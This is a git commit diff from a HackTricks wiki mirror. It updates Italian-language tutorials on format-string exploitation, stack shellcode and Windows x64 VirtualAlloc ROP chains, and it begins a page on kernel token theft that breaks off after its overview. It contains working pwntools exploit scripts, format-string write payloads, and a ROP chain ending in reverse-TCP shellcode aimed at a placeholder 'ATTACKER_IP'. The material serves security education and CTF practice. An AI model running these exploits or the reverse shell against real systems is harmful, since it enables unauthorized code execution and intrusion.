mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ
This commit is contained in:
parent
b979d28d58
commit
3af5806a00
@ -234,6 +234,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
|
@ -3,13 +3,13 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Informazioni di Base
|
||||
## Informazioni di base
|
||||
|
||||
In C **`printf`** è una funzione che può essere utilizzata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formattatori**. I **parametri seguenti** attesi sono i **valori** da **sostituire** ai **formattatori** nel testo grezzo.
|
||||
In C **`printf`** è una funzione che può essere usata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formatters**. I **parametri successivi** attesi sono i **valori** per **sostituire** i **formatters** nel testo grezzo.
|
||||
|
||||
Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**.
|
||||
|
||||
La vulnerabilità appare quando un **testo dell'attaccante viene utilizzato come primo argomento** per questa funzione. L'attaccante sarà in grado di creare un **input speciale che sfrutta** le capacità della **stringa di formato printf** per leggere e **scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile)**. Essere in grado in questo modo di **eseguire codice arbitrario**.
|
||||
La vulnerabilità si presenta quando un **testo controllato dall'attaccante viene usato come primo argomento** di questa funzione. L'attaccante sarà in grado di costruire un **input speciale abusando** delle **printf format string capabilities** per leggere e **scrivere qualsiasi dato in qualunque indirizzo (leggibile/scrivibile)**. In questo modo può eseguire codice arbitrario.
|
||||
|
||||
#### Formattatori:
|
||||
```bash
|
||||
@ -30,7 +30,7 @@ char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
- Uso Normale:
|
||||
- Uso normale:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
@ -52,9 +52,9 @@ fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Accessing Pointers**
|
||||
### **Accesso ai puntatori**
|
||||
|
||||
Il formato **`%<n>$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, puoi fare:
|
||||
Il formato **`%<n>$x`**, dove `n` è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi se vuoi leggere il 4° parametro dallo stack usando printf puoi fare:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
@ -66,14 +66,14 @@ printf("%4$x")
|
||||
```
|
||||
e leggere direttamente il quarto.
|
||||
|
||||
Nota che l'attaccante controlla il `printf` **parametro, il che significa fondamentalmente che** il suo input sarà nello stack quando viene chiamato `printf`, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
|
||||
Nota che l'attaccante controlla il `printf` **parametro, il che praticamente significa che** il suo input verrà messo nello stack quando `printf` viene chiamato, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Un attaccante che controlla questo input sarà in grado di **aggiungere indirizzi arbitrari nello stack e far accedere `printf` a essi**. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
|
||||
> Un attaccante che controlla questo input potrà **aggiungere indirizzi arbitrari nello stack e far sì che `printf` li acceda**. Nella sezione successiva sarà spiegato come utilizzare questo comportamento.
|
||||
|
||||
## **Lettura Arbitraria**
|
||||
## **Arbitrary Read**
|
||||
|
||||
È possibile utilizzare il formattatore **`%n$s`** per far sì che **`printf`** ottenga l'**indirizzo** situato nella **n posizione**, seguendolo e **stamparlo come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
|
||||
È possibile usare il formatter **`%n$s`** per far sì che **`printf`** prenda l'**indirizzo** situato nella **posizione n**, lo segua e **lo stampi come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,11 +87,11 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà tagliata a 0x00 alla fine di quell'indirizzo.
|
||||
> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa sarà terminata con 0x00 alla fine di quell'indirizzo.
|
||||
|
||||
### Trova l'offset
|
||||
### Trovare l'offset
|
||||
|
||||
Per trovare l'offset per il tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A's`.
|
||||
Per trovare l'offset del tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A`.
|
||||
|
||||
<details>
|
||||
|
||||
@ -128,38 +128,38 @@ p.close()
|
||||
|
||||
### Quanto è utile
|
||||
|
||||
Le letture arbitrarie possono essere utili per:
|
||||
Arbitrary reads possono essere utili per:
|
||||
|
||||
- **Dump** il **binary** dalla memoria
|
||||
- **Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili** (come canaries, chiavi di crittografia o password personalizzate come in questa [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Accedere a parti specifiche della memoria dove sono memorizzate** **informazioni sensibili** (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Scrittura Arbitraria**
|
||||
## **Arbitrary Write**
|
||||
|
||||
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \<num> nello stack. Se un attaccante può scrivere quanti più caratteri possibile con printf, sarà in grado di far scrivere a **`%<num>$n`** un numero arbitrario in un indirizzo arbitrario.
|
||||
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro <num> nello stack. Se un attaccante può scrivere quanti caratteri vuole con printf, sarà in grado di far sì che **`%<num>$n`** scriva un numero arbitrario in un indirizzo arbitrario.
|
||||
|
||||
Fortunatamente, per scrivere il numero 9999, non è necessario aggiungere 9999 "A" all'input; per farlo è possibile utilizzare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
|
||||
Per fortuna, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input; è possibile usare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Tuttavia, nota che di solito per scrivere un indirizzo come `0x08049724` (che è un numero ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo consente di **scrivere solo 2 Byte**. Pertanto, questa operazione viene eseguita due volte, una per i 2B più alti dell'indirizzo e un'altra volta per i più bassi.
|
||||
Tuttavia, nota che di solito, per scrivere un indirizzo come `0x08049724` (che è un NUMERO ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo permette di **scrivere solo 2 byte**. Pertanto questa operazione viene eseguita due volte, una per i 2 byte più alti dell'indirizzo e un'altra per quelli più bassi.
|
||||
|
||||
Pertanto, questa vulnerabilità consente di **scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).**
|
||||
Pertanto, questa vulnerabilità permette di **scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).**
|
||||
|
||||
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:
|
||||
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata più tardi. Sebbene questo possa sfruttare altre tecniche di arbitrary write to exec:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Stiamo per **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e **puntarla** alla **funzione** **`system`**.\
|
||||
Come accennato, per scrivere l'indirizzo, di solito sono necessari 2 passaggi: **prima scrivi 2Byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**.
|
||||
Andremo a **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e a **puntarla** alla funzione **`system`**.\
|
||||
Come detto, per scrivere l'indirizzo sono generalmente necessari 2 passaggi: prima **si scrivono 2 byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**.
|
||||
|
||||
- **HOB** si riferisce ai 2 byte più alti dell'indirizzo
|
||||
- **LOB** si riferisce ai 2 byte più bassi dell'indirizzo
|
||||
- **HOB** indica i 2 byte più alti dell'indirizzo
|
||||
- **LOB** indica i 2 byte più bassi dell'indirizzo
|
||||
|
||||
Poi, a causa di come funziona la stringa di formato, è necessario **scrivere prima il più piccolo** di \[HOB, LOB] e poi l'altro.
|
||||
Poi, a causa di come funzionano le format string, è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro.
|
||||
|
||||
Se HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
@ -171,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
### Pwntools Template
|
||||
### Pwntools Modello
|
||||
|
||||
Puoi trovare un **template** per preparare un exploit per questo tipo di vulnerabilità in:
|
||||
Puoi trovare un **modello** per preparare un exploit per questo tipo di vulnerabilità in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
O questo esempio di base da [**qui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
Oppure questo esempio di base da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -201,18 +201,60 @@ p.interactive()
|
||||
```
|
||||
## Format Strings to BOF
|
||||
|
||||
È possibile abusare delle azioni di scrittura di una vulnerabilità di formato stringa per **scrivere negli indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
|
||||
È possibile abusare delle azioni di scrittura di una format string vulnerability per **scrivere in indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molti call-sites vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che la CRT legga il prossimo argomento variadico dal registro appropriato. Con la Microsoft x64 calling convention la prima lettura per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso leaks un puntatore stabile in-modulo (es., un puntatore a un oggetto locale/globale precedentemente posto in R9 dal codice circostante o un valore callee-saved), che può essere usato per recuperare la base del modulo e sconfiggere ASLR.
|
||||
|
||||
Flusso pratico:
|
||||
|
||||
- Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio.
|
||||
- Cattura il leaked pointer, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo reversing una volta con simboli o una copia locale), e recupera la image base come `leak - known_offset`.
|
||||
- Riusa quella base per calcolare indirizzi assoluti per ROP gadgets e IAT entries da remoto.
|
||||
|
||||
Esempio (abbreviato python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
# Send an input that the vulnerable code will pass as the "format"
|
||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||
io = remote(HOST, 4141)
|
||||
# ... drive protocol to reach the vulnerable snprintf ...
|
||||
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Note:
|
||||
- L'offset esatto da sottrarre viene trovato una volta durante il reversing locale e poi riutilizzato (stesso binario/versione).
|
||||
- Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri registri/stack degli argomenti.
|
||||
- Questo pattern è specifico della calling convention Windows x64 e delle implementazioni della printf-family che leggono varargs inesistenti dai registri quando la format string li richiede.
|
||||
|
||||
Questa tecnica è estremamente utile per bootstrapper ROP su servizi Windows compilati con ASLR e senza evidenti primitive di memory disclosure.
|
||||
|
||||
## Altri Esempi & Riferimenti
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit, no relro, no canary, nx, no pie, uso base delle format strings per rivelare il flag dallo stack (non è necessario alterare il flusso di esecuzione)
|
||||
- 32 bit, no relro, no canary, nx, no pie, uso di base delle format strings per leak della flag dallo stack (non è necessario alterare il flusso di esecuzione)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo all'interno di main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con input dell'utente e puntando a `system`, eseguirà i comandi passati.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere nella GOT l'indirizzo di `system` nell'entry corrispondente a `strlen`. Quando il flusso torna a main, `strlen` viene eseguita con input utente e, essendo puntata a `system`, eseguirà i comandi passati.
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di Base
|
||||
## Informazioni di base
|
||||
|
||||
**Stack shellcode** è una tecnica utilizzata nell'**exploitation binaria** in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**.
|
||||
**Stack shellcode** è una tecnica usata nella **binary exploitation** in cui un attacker scrive shellcode nello stack di un vulnerable program e poi modifica il **Instruction Pointer (IP)** o il **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, facendolo eseguire. È un metodo classico per ottenere accesso non autorizzato o eseguire comandi arbitrari su un target system. Di seguito una panoramica del processo, incluso un semplice esempio in C e come potresti scrivere un exploit corrispondente usando Python con **pwntools**.
|
||||
|
||||
### Esempio C: Un Programma Vulnerabile
|
||||
### Esempio in C: A Vulnerable Program
|
||||
|
||||
Iniziamo con un semplice esempio di un programma C vulnerabile:
|
||||
Cominciamo con un semplice esempio di vulnerable C program:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -28,18 +28,18 @@ Questo programma è vulnerabile a un buffer overflow a causa dell'uso della funz
|
||||
|
||||
### Compilazione
|
||||
|
||||
Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi utilizzare il seguente comando:
|
||||
Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi usare il seguente comando:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Disabilita la protezione dello stack.
|
||||
- `-z execstack`: Rende lo stack eseguibile, il che è necessario per eseguire shellcode memorizzato nello stack.
|
||||
- `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione, rendendo più facile prevedere l'indirizzo di memoria in cui si troverà il nostro shellcode.
|
||||
- `-m32`: Compila il programma come eseguibile a 32 bit, spesso utilizzato per semplicità nello sviluppo di exploit.
|
||||
- `-z execstack`: Rende lo stack eseguibile, necessario per eseguire shellcode memorizzata sullo stack.
|
||||
- `-no-pie`: Disabilita Position Independent Executable (PIE), rendendo più semplice prevedere l'indirizzo di memoria in cui si troverà la nostra shellcode.
|
||||
- `-m32`: Compila il programma come eseguibile a 32 bit, spesso usato per semplicità nello sviluppo di exploit.
|
||||
|
||||
### Python Exploit usando Pwntools
|
||||
|
||||
Ecco come potresti scrivere un exploit in Python utilizzando **pwntools** per eseguire un attacco **ret2shellcode**:
|
||||
Ecco come potresti scrivere un exploit in Python usando **pwntools** per eseguire un attacco **ret2shellcode**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Questo script costruisce un payload composto da un **NOP slide**, il **shellcode**, e poi sovrascrive l'**EIP** con l'indirizzo che punta al NOP slide, assicurando che il shellcode venga eseguito.
|
||||
Questo script costruisce un payload composto da una **NOP slide**, la **shellcode**, e poi sovrascrive la **EIP** con l'indirizzo che punta alla NOP slide, garantendo l'esecuzione della shellcode.
|
||||
|
||||
Il **NOP slide** (`asm('nop')`) è usato per aumentare la possibilità che l'esecuzione "scivoli" nel nostro shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento `p32()` all'indirizzo di partenza del tuo buffer più un offset per atterrare nel NOP slide.
|
||||
La **NOP slide** (`asm('nop')`) viene usata per aumentare la probabilità che l'esecuzione "slide" nella nostra shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento di `p32()` all'indirizzo iniziale del tuo buffer più un offset per atterrare nella NOP slide.
|
||||
|
||||
## Protezioni
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protezione impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarà eseguibile.
|
||||
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
|
||||
|
||||
## Altri Esempi & Riferimenti
|
||||
Punti chiave (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → scegli un indirizzo nello stack corrente (e.g., RSP) così la regione RWX appena allocata si sovrappone al tuo payload
|
||||
- RDX = dwSize → abbastanza grande per la tua chain + shellcode (e.g., 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Return directly into the shellcode placed right after the chain.
|
||||
|
||||
Strategia minima:
|
||||
1) Leak a module base (e.g., via a format-string, object pointer, etc.) per calcolare gli indirizzi assoluti di gadget e IAT sotto ASLR.
|
||||
2) Trova gadgets per caricare RCX/RDX/R8/R9 (pop or mov/xor-based sequences) e una call/jmp [VirtualAlloc@IAT]. Se non hai pop r8/r9 diretti, usa gadgets aritmetici per sintetizzare costanti (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
|
||||
3) Posiziona lo stage-2 shellcode immediatamente dopo la chain.
|
||||
|
||||
Esempio layout (concettuale):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
POP_R9_RET; 0x40
|
||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||
POP_R8_RET; 0x1000
|
||||
# RCX = &stack (lpAddress)
|
||||
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||
# RDX = size (dwSize)
|
||||
POP_RDX_RET; 0x1000
|
||||
# Call VirtualAlloc via the IAT
|
||||
[IAT_VirtualAlloc]
|
||||
# New RWX memory at RCX — execution continues at the next stack qword
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Con un set di gadget limitato, puoi costruire i valori dei registri indirettamente, ad esempio:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → imposta r9 con il valore di rbx, azzera r8 e compensa lo stack con un junk qword.
|
||||
- xor rbx, rsp; ret → inizializza rbx con l'attuale stack pointer.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → sposta un valore derivato da RSP in RCX.
|
||||
|
||||
Esempio Pwntools (data una base nota e gadget noti):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||
rop = b''
|
||||
# r9 = 0x40
|
||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||
# rcx = rsp
|
||||
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||
rop += p64(base+XOR_RBX_RSP_RET)
|
||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||
rop += p64(base+MOV_RCX_RAX_RET)
|
||||
# r8 = 0x1000 via arithmetic if no pop r8
|
||||
for _ in range(0x1000//0x40):
|
||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||
# rdx = 0x1000 (use any available gadget)
|
||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
# call VirtualAlloc and land in shellcode
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Suggerimenti:
|
||||
- VirtualProtect funziona in modo simile se è preferibile rendere un buffer esistente RX; l'ordine dei parametri è diverso.
|
||||
- Se lo spazio nello stack è limitato, allocare RWX altrove (RCX=NULL) e jmp a quella nuova regione invece di riutilizzare lo stack.
|
||||
- Considera sempre i gadget che modificano RSP (es., add rsp, 8; ret) inserendo qword di riempimento.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni; altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere disabilitati anch'essi, altrimenti l'indirizzo di ritorno EIP compromesso non verrà mai seguito.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protezione **stack** impedirebbe l'esecuzione dello shellcode nello stack perché quella regione non sarebbe eseguibile.
|
||||
|
||||
## Altri esempi e riferimenti
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR con leak dell'indirizzo dello stack, scrivere shellcode e saltare a esso
|
||||
- 64bit, ASLR con stack address leak, scrivi shellcode e fai jump ad esso
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR con leak dello stack, scrivere shellcode e saltare a esso
|
||||
- 32 bit, ASLR con stack leak, scrivi shellcode e fai jump ad esso
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR con leak dello stack, confronto per prevenire la chiamata a exit(), sovrascrivere una variabile con un valore e scrivere shellcode e saltare a esso
|
||||
- 32 bit, ASLR con stack leak, confronto per prevenire la chiamata a exit(), sovrascrivi una variabile con un valore, scrivi shellcode e fai jump ad esso
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack
|
||||
- arm64, no ASLR, gadget ROP per rendere lo stack eseguibile e saltare al shellcode nello stack
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Panoramica
|
||||
|
||||
Se un driver vulnerabile espone un IOCTL che dà a un attacker primitive di read e/o write arbitrarie nel kernel, l'elevazione a NT AUTHORITY\SYSTEM può spesso essere ottenuta rubando un access token di SYSTEM. La tecnica copia il Token pointer dall'EPROCESS di un processo SYSTEM nell'EPROCESS del processo corrente.
|
||||
|
||||
Perché funziona:
|
||||
- Ogni processo ha una struttura EPROCESS che contiene (tra gli altri campi) un Token (in realtà un EX_FAST_REF verso un oggetto token).
|
||||
- Il processo SYSTEM (PID 4) possiede un token con tutti i privilegi abilitati.
|
||||
